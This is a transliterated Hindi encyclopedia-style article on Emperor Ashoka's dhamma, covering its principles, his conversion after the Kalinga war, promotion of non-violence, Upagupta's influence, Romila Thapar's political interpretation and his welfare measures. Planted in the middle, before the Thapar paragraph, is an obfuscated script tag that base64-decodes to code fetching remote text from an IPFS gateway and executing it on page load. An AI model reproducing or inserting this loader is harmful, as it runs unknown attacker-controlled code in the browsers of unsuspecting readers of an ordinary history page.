अशोक का धम्म
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[[chitr:Ashokthegreat.jpg|thumb|300px|bauddh dharm ka prachar karate ashok]] sansar ke itihas mean ashok isalie vikhyat hai ki usane nirantar manav ki naitik unnati ke lie prayas kiya. jin siddhaantoan ke palan se yah naitik utthan sambhav tha, ashok ke lekhoan mean unhean 'dhamm' kaha gaya hai. doosare tatha satavean stanbh-lekhoan mean ashok ne dhamm ki vyakhya is prakar ki hai, "dhamm hai sadhuta, bahut se kalyanakari achchhe kary karana, paparahit hona, mriduta, doosaroan ke prati vyavahar mean madhurata, daya-dan tatha shuchita." age kaha gaya hai ki, "praniyoan ka vadh n karana, jivahiansa n karana, mata-pita tatha b doan ki ajna manana, gurujanoan ke prati adar, mitr, parichitoan, sambandhiyoan, brahman tatha shravanoan ke prati danashilata tatha uchit vyavahar aur das tatha bhrityoan ke prati uchit vyavahar."
- brahmagiri shilalekh mean in gunoan ke atirikt shishy dvara guru ka adar bhi dhamm ke aantargat mana gaya hai. ashok ke anusar yah purani parampara[1] hai.
- tisare shilalekh mean ashok ne alp vyay tatha alp sangrah ka bhi dhamm mana hai. ashok ne n keval dhamm ki vyakhya ki hai, varanh usane dhamm ki pragati mean badhak pap ki bhi vyakhya ki hai - chandata, nishthurata, krodh, man aur eershya pap ke lakshan haian. pratyek vyakti ko inase bachana chahie.
- ashok ne nity atm-parikshan par bal diya hai. manushy hamesha apane dvara kie ge achchhe karyoan ko hi dekhata hai, yah kabhi nahian dekhata ki maianne kya pap kiya hai. vyakti ko dekhana chahie ki ye manoveg - chandata, nishthurata, krodh, eershya, man—vyakti ko pap ki or n le jaean aur use bhrasht n karean.
dhamm mean pravritt
kaliang yuddh ke bad hi ashok apane shilalekhoan ke anusar dhamm mean pravritt hua. yahaan dhamm ka ashay bauddh dharm liya jata hai aur vah shighr hi bauddh dharm ka anuyayi ban gaya. bauddh matavalambi hone ke bad ashok ka vyaktitv ekadam badal gaya. athavean shilalekh mean jo sambhavat: kaliang vijay ke char varsh bad taiyar kiya gaya tha, ashok ne ghoshana ki- 'kaliang desh mean jitane adami mare gaye, mare ya qaid hue usake sauanve ya hazaravean hisse ka nash bhi ab devataoan ke priy ko b de du:kh ka karan hoga.' usane age yuddh na karane ka nirnay liya aur bad ke 31 varsh apane shasanakal mean usane mrityuparyant koee l daee nahian thani. usane apane uttaradhikariyoan ko bhi paramarsh diya ki ve shastroan dvara vijay prapt karane ka marg chho d dean aur dharm dvara vijay ko vastavik vijay samajhean. [2]
dhamm ke siddhaant
dhamm ke in siddhaantoan ka anushilan karane se is sambandh mean koee sandeh nahian rah jata ki yah ek sarvasadharan dharm hai. jisaki moolabhoot manyataean sabhi sampradayoan mean many haian aur jo desh kal ki simaoan mean abaddh nahian haian. kisi pakhand ya sampraday ka isase virodh nahian ho sakata. ashok ne apane terahavean shilalekh mean likha hai—brahman, shraman aur grahasth sarvatr rahate haian aur dharm ke in acharanoan ka palan karate haian. ashok ke samrajy mean anek sampraday ke manane vale the aur ho sakata hai ki unamean tho da bahut virodh tatha pratidvandvita ka bhav bhi raha ho. usane sabhi sampradayoan mean samanjasy sthapit karane ke lie sadachar ke in niyamoan par zor diya. barahavean shilalekh mean ashok mean dharm ki sar-vriddhi par zor diya hai, arthath ek dharm—sampraday vale doosare dharm—sampraday ke siddhaantoan ke vishay mean janakari prapt karean, isase dharmasar ki vriddhi hogi.
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sari praja meri santan hai, jis prakar maian apani santan aihik aur kalyan ki kamana karata hooan usi prakar, apani praja ke aihik aur paralaukik kalyan aur sukh ke lie bhi. jaise ek maan ek shishu ko ek kushal dhay ko sauanpakar nishchiant ho jati hai ki kushal dhay santan ka palan-poshan karane mean samarth hai, usi prakar maianne bhi apani praja ke sukh aur kalyan ke lie rajukoan ki niyukti ki hai"
chitr:Blockquote-close.gif - kaliang mean ashok
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naitik utthan ke lie dhamm ka prachar
bauddh anushrutiyoan aur ashok ke abhilekhoan se yah siddh nahian hota ki usane kisi rajanitik uddeshy se dhamm ka prachar kiya. terahavean shilalekh aur laghu shilalekh se vidit hota hai ki ashok dharm parivartan ka kaliang yuddh se nikat sambandh hai. romila thapar ka mat hai ki dhamm kalpana ashok ki niji kalpana thi, kintu ashok ke shilalekhoan mean dhamm ki jo batean di gee haian, unase spasht hai ki ve poorn roop se bauddh granthoan se li gee haian. ye bauddh granth haian—dighanikay ke lakkhan sutt chakkavatti sihanad sutt, rahulovad sutt tatha dhammapad. in granthoan mean varnit dharmaraj ke adarsh se prerit hokar hi ashok ne dhamm vijay adarsh ko apanaya. lakkhan sutt tatha chakkavatti sihanad sutt mean dhammayukt chakravarti samrat ke vishay mean kaha gaya hai ki vah bhautik tatha adhyatmik kalyan ke lie prayatnashal rahata hai. aisa raja vijay se nahian apitu dhamm se vijayi hota hai. vah talavar ke bajay dhamm se vijay prapt karata hai. vah logoan ko ahiansa ka upadesh deta hai. ashok ne dhamm ki jo paribhasha di hai vah 'rahulovadasutt' se li gee hai. is sutt ko 'gehavijay' bhi kaha gaya hai arthath 'grahasthoan ke lie anushasan granth'. upasak ke lie param uddeshy svarg prapt karana tha n ki nirvan. chakkavatti (chakravarti) dhammaraj ke adarsh ko apanate hue ashok ne janasadharan ke naitik utthan ke lie apane dhamm ka prachar kiya taki ve ehik sukh aur is janm ke bad svarg prapt kar sakean. isamean sandeh nahian ki ashok sachche hriday se apani praja ka naitik punaruddhar karana chahata tha aur isake lie vah nirantar prayatn shil raha. vah nissandeh ek adarsh ko charitarth karana chahata tha. yahi ashok ki maulikata hai.
ahiansa ka prachar
[[chitr:Inscription-Of-Ashoka-Brahmi-Script.jpg|thumb|250px|brahmi lipi mean likhe ashok ke shilalekh, rashtriy sangrahalay, dilli]] ashok ne dhamm prachar ke lie b di lagan aur utsah se kam kiya. ahiansa ke prachar ke lie ashok ne kee qadam uthae. usane yuddh band kar die aur svayan ko tatha rajakarmachariyoan ko manav-matr ke naitik utthan mean lagaya. jivoan ka vadh rokane ke lie ashok ne pratham shilalekh mean vikshapti jari ki ki kisi yajn ke lie pashuoan ka vadh n kiya jae. 'ih' shabd se yah anuman lagaya jata hai ki yah nishedh ya to rajabhavan ya phir pataliputr ke lie hi tha, samast samrajy ke lie nahian. pashu—vadh ko ekadam rokana asambhav tha. atah ashok ne likha hai ki rajakiy rasoee mean pahale jahaan saik doan hazaroan pashu bhojan ke lie mare jate the, vahaan ab keval tin prani—do mor aur ek mrig mare jate haian, aur bhavishy mean ve bhi nahian mare jaeange. sath hi ashok ne yah bhi ghoshana ki ki aise samajik utsav nahian hone chahie, jinamean aniyantrit amod-pramod ho. jaise—surapan, maans bhakshan, mallayuddh, janavaroan ki l daee adi. inake sthan par ashok ne dhammasabhaoan ki vyavastha ki jinamean viman, hathi, agniskandh, ityadi svarg ki jhaankiyaan dikhaee jati thi aur is prakar janata mean dhamm ke prati anurag paida kiya jata tha. bihar—yatraean, jinamean pashuoan ka shikar rajaoan ka mooly manoranjan tha, band kar di gee. unake sthan par ashok ne dhamm yatraean prarambh kian. in yatraoan ke avasar par ashok brahmanoan aur shravanoan ko dan deta tha. vriddhoan ko suvarn dan deta tha. vyaktigat upadesh se am janata mean dharm prasaran mean sahayata mili.
bauddh sthanoan ki yatra
ashok ne anek bauddh sthanoan ki yatra ki, jaise—bodhagaya, lumbini, nigalisagar adi. in dharm yatraoan se ashok ko desh ke vibhinn sthanoan ke logoan ke sampark mean ane ka aur dharm tatha shasan ke vishay mean logoan ke vichar janane ka avasar mila. sath hi in yatraoan se ek prakar se sthaniy shasakoan par niyantran rahata tha. ashok ne rajy ke karmachariyoan—pradeshik, rajuk tatha yuktakoan ko prati paanchavean varsh dharm prachar ke lie yatra par bheja. ashok ke lekhoan mean ise anusandhan kaha gaya hai.
bauddh dharm mean ruchi ka karan
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dhamm hai sadhuta, bahut se kalyanakari achchhe kary karana, paparahit hona, mriduta, doosaroan ke prati vyavahar mean madhurata, daya-dan tatha shuchita." age kaha gaya hai ki, "praniyoan ka vadh n karana, jivahiansa n karana, mata-pita tatha b doan ki ajna manana, gurujanoan ke prati adar, mitr, parichitoan, sambandhiyoan, brahman tatha shravanoan ke prati danashilata tatha uchit vyavahar aur das tatha bhrityoan ke prati uchit vyavahar.
chitr:Blockquote-close.gif - ashok
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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ashok ke dhamm ki vivechana karate hue romila thapar ne likha hai ki kuchh rajanitik uddeshyoan se hi ashok ne ek ne dharm ki kalpana ki tatha isaka prasar kiya. chandragupt maury ke samay shasan ke kendrikaran ki niti saphalatapoorvak poori ho chuki thi. kushal adhikaratantr, achchhi sanchar vyavastha aur shaktishali shasak ke dvara us samay samrajy ka jitana kendrikaran sambhav tha, vah ho chuka tha. kintu kendr ka adhipaty banae rakhana do hi tarah se sambhav tha, ek to sainik shakti dvara kathor shasan tatha raja mean devatv ka aropan karake aur doosare sabhi vargoan se sankalit saragrahi dharm ko apanakar. yah doosara tariqa hi adhik yukti sangat tha kyoanki aisa karane se kisi ek varg ka prabhav kam kiya ja sakata tha aur phalatah kendr ka prabhav badhata. ashok ki yah niti sar roop mean vahi thi jo akabar ne apanaee thi. yadyapi usaka roop bhinn tha. sianhasanaroodh hone ke samay ashok bauddh nahian tha. bad mean hi usaki bauddh dharm mean ruchi badhi kyoanki uttaradhikar yuddh ke samay use sambhavatah kattar samudayoan ka samarthan nahian mila. atah bauddh dharm ko spasht roop mean samarthan dekar usane un vargoan ka samarthan prapt kiya jo kattar nahian the. romila thapar ka anuman hai ki bauddh aur ajivakoan ko navodit vaishy varg ka samarthan prapt tha tatha janasadharan ka in sampradayoan se tivr virodh nahian tha. is prakar ashok ne dharm ko apanane mean vyavaharik labh dekha. is ne dharm ya dhamm ki kalpana ka doosara karan tha chhoti—chhoti rajanitik ikaiyoan mean bante samrajy ke vibhinn vargoan, jatiyoan aur sanskritiyoan ko ek sootr mean baandhana. inake sath-sath vibhinn pradeshoan mean satta ko dridh karane ke lie yah upayog mean laya ja sakata tha. mahattvapoorn yah hai ki ek shasak jisake pas nirankush qanooni vidhan, vishal sena evan aparimit sansadhan ho vah apane shilalekhoan mean svayan ko naitik moolyoan ke vistarak ke roop mean prastut kyoan karata hai? vastutah yogy v kushal shasakoan ki niyuktiyaan sadaiv samrajy ki raksha ke lie nirmit ki jati haian. bauddh dharm ki shiksha ke keandr magadh mean janamanas mean shoshan ke viruddh vyapak chetana thi.
upagupt se mili prerana
samrat ashok ko bauddh dharm ka prachar karane aur stoopadi ko nirmit karane ki prerana dharmachary upagupt ne hi di. jab bhagavan buddh doosari bar mathura aye, tab unhoanne bhavishyavani ki aur apane priy shishy anand se kaha ki kalaantar mean yahaan upagupt nam ka ek prasiddh dharmik vidvanh hoga, jo unhian ki tarah bauddh dharm ka prachar karega aur usake upadesh se anek bhikshu yogyata aur pad prapt kareange. is bhavishyavani ke anusar upagupt ne mathura ke ek vanik ke ghar janm liya. usaka pita sugandhit dravyoan ka vyapar karata tha. upagupt atyant roopavan aur pratibhashali tha. upagupt kishoravastha mean hi virakt hokar bauddh dharm ka anuyayi ho gaya tha. anand ke shishy shanakavasi ne upagupt ko mathura ke nat-bhat vihar mean bauddh dharm ke 'sarvastivadi sanpraday' ki diksha di thi.
dharm parayan ashok
bauddh dharm grahan karane ke pashchath ashok ne dharm prachar ke lie b di lagan aur utsah se kam kiya. parantu shasan ke prati vah qatee udasin nahian hua. dharm parayanata ne usamean praja ke aihik evan paralaukik kalyan ke lie lagan paida ki. usane raja aur praja ke bich paitrik sambandh ko badhane par adhik bal diya. kaliang mean ashok ne kaha hai, "sari praja meri santan hai, jis prakar maian apani santan ke aihik aur kalyan ki kamana karata hooan usi prakar, apani praja ke aihik aur paralaukik kalyan aur sukh ke lie bhi. jaise ek maan ek shishu ko ek kushal dhay ka sauanpakar nishchiant ho jati hai ki kushal dhay santan ka palan-poshan karane mean samarth hai, usi prakar maianne bhi apani praja ke sukh aur kalyan ke lie rajukoan ki niyukti ki hai" [3]. vah praja ke kary karane ke lie sadaiv udyat rahata tha. apane chhathe shilalekh mean usane yah ghoshana ki, "har kshan aur har sthan par—chahe vah rasoeeghar ho, aantapur mean ho athava udyan mean—mere prativedak mujhe praja ke karyoan ke sambandh mean soochit karean. maian janata ka kary karane mean kabhi bhi nahian aghata. mujhe praja ke hit ke lie kary karana chahie." is prakar ham dekhate haian ki raja ke utthanavrat aur prajahit adarsh par ashok ne atyadhik bal diya. yahi nahian, ashok ne raja ke kartavy ka ek naya drishtikon prastut kiya. raja praja ka rrini hai, praja ke prati apane kartavy ka palan karake vah praja ka rrin chukata hai. ashok ke athavean shilalekh mean tatha maski laghu shilalekh mean yah anuman lagaya gaya hai ki ashok rajy ke vibhinn bhagoan mean nirikshatan bhi karata tha. jisase janata ke sukh—duahkh ka sidhe pata laga sake. purushoan aur prativedakoan dvara janasampark bana rahata tha. apane shasan ko adhik manaviy banane ke lie ashok ne shasan mean kee sudhar kie. sarvapratham prashasanik sudhar yah tha ki pradeshik rajuk se lekar yuktak tak sabhi adhikari har paanchavean sal (ujjayini aur takshashila mean har tisare sal) rajy mean nirikshatan ke lie jate the. prashasanik kary ke atirikt ve dhamm ka prachar bhi karate the. kaliang lekh se pata chalata hai ki akaran logoan ko karavas tatha bhay bachane ke lie pratyek paanchavean varsh mahamatr nirikshatan ke lie bheje jate the. unaka ek kary yah bhi tha ki ve dekhean ki nagar nyayadhish raja ke adesh ka palan karean.
ashok ne apane rajy ke terahavean varsh ke bad ek sarvatha navin prakar ke uchchadhikariyoan ki niyukti ki. inhean dhammamahamatr kaha gaya hai. inaka pramukh kary janata mean dharmaprasar karana tatha danashilata ko utsahit karana tha. kintu prashasanik drishti se inaka kary yah tha—jinhean karavas ka dand diya gaya ho unake parivaroan ko arthik sahayata dena, aparadhiyoan ke sambandhiyoan se sampark banae rakhakar unhean saantvana dena. is prakar ashok ne nyay aur dand mean manaviyata lane ka prayas kiya. nyay ko daya se mishrit karake mridu bana diya.
kalyanakari kary
ashok vyavaharik tha. usane mrityudand ko ek dam samapt nahian kiya, kintu yah vyavastha ki ki yadi samuchit karan upasthit hoan, to dhamm mahamatr nyayadhikariyoan se dand kam karavane ka prayatn karean. jin aparadhiyoan ko mrityudand diya gaya ho, unhean tin din ka avakash dene ki vyavastha ki gee, taki is bich unake sambandhi unake jivanadan ke lie (rajukoan se) prarthana kar sakean, aur (yadi yah sambhav n ho sake to) ve dan-vrat prarthana ke dvara paralok ki taiyari kar sakean. rajukoan ko adesh diya gaya ki abhihar dand mean ekaroopata ho aur pakshapatarahit ho.
26vean varsh mean ashok ne rajukoan, abhihar tatha dandakoan ko svatantrata di taki oopar se bina hastakshep ke ve atmavishvas ke sath praja ka hit kar sakean. ye rajuk saik doan—hazaroan logoan ke oopar shasan karate the aur ashok ne unhean svatantrata isalie di ki ve nirvaghn shasan dvara janata ka hit karane mean samarth ho sakean.
ashok ne manushyoan aur pashuoan ke lie chikitsalay khulavae. jahaan manushyoan aur pashuoan ke lie upayogi aushadhiyaan upalabdh nahian thi vahaan bahar se mangakar unhean lagaya jata. kandamool aur phal bhi jahaan kabhi nahian the, vahaan bahar se mangakar lagavae ge. s dak ke kinare par pe d lagae ge taki manushyoan aur pashuoan ko chhaya mil sake. ath kos ya 9 mil ke fasale par jagah-jagah kuean khudavae ge. isake alava anek pyaoo sthapit kie ge. is prakar ashok ki dharmaparayanata ne use anek prakar ke kalyanakari karyoan ke lie prerit kiya. usaka shasan kendit hote hue bhi manaviy tha.
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tika tippani aur sandarbh
bahari k diyaan
sanbandhit lekh
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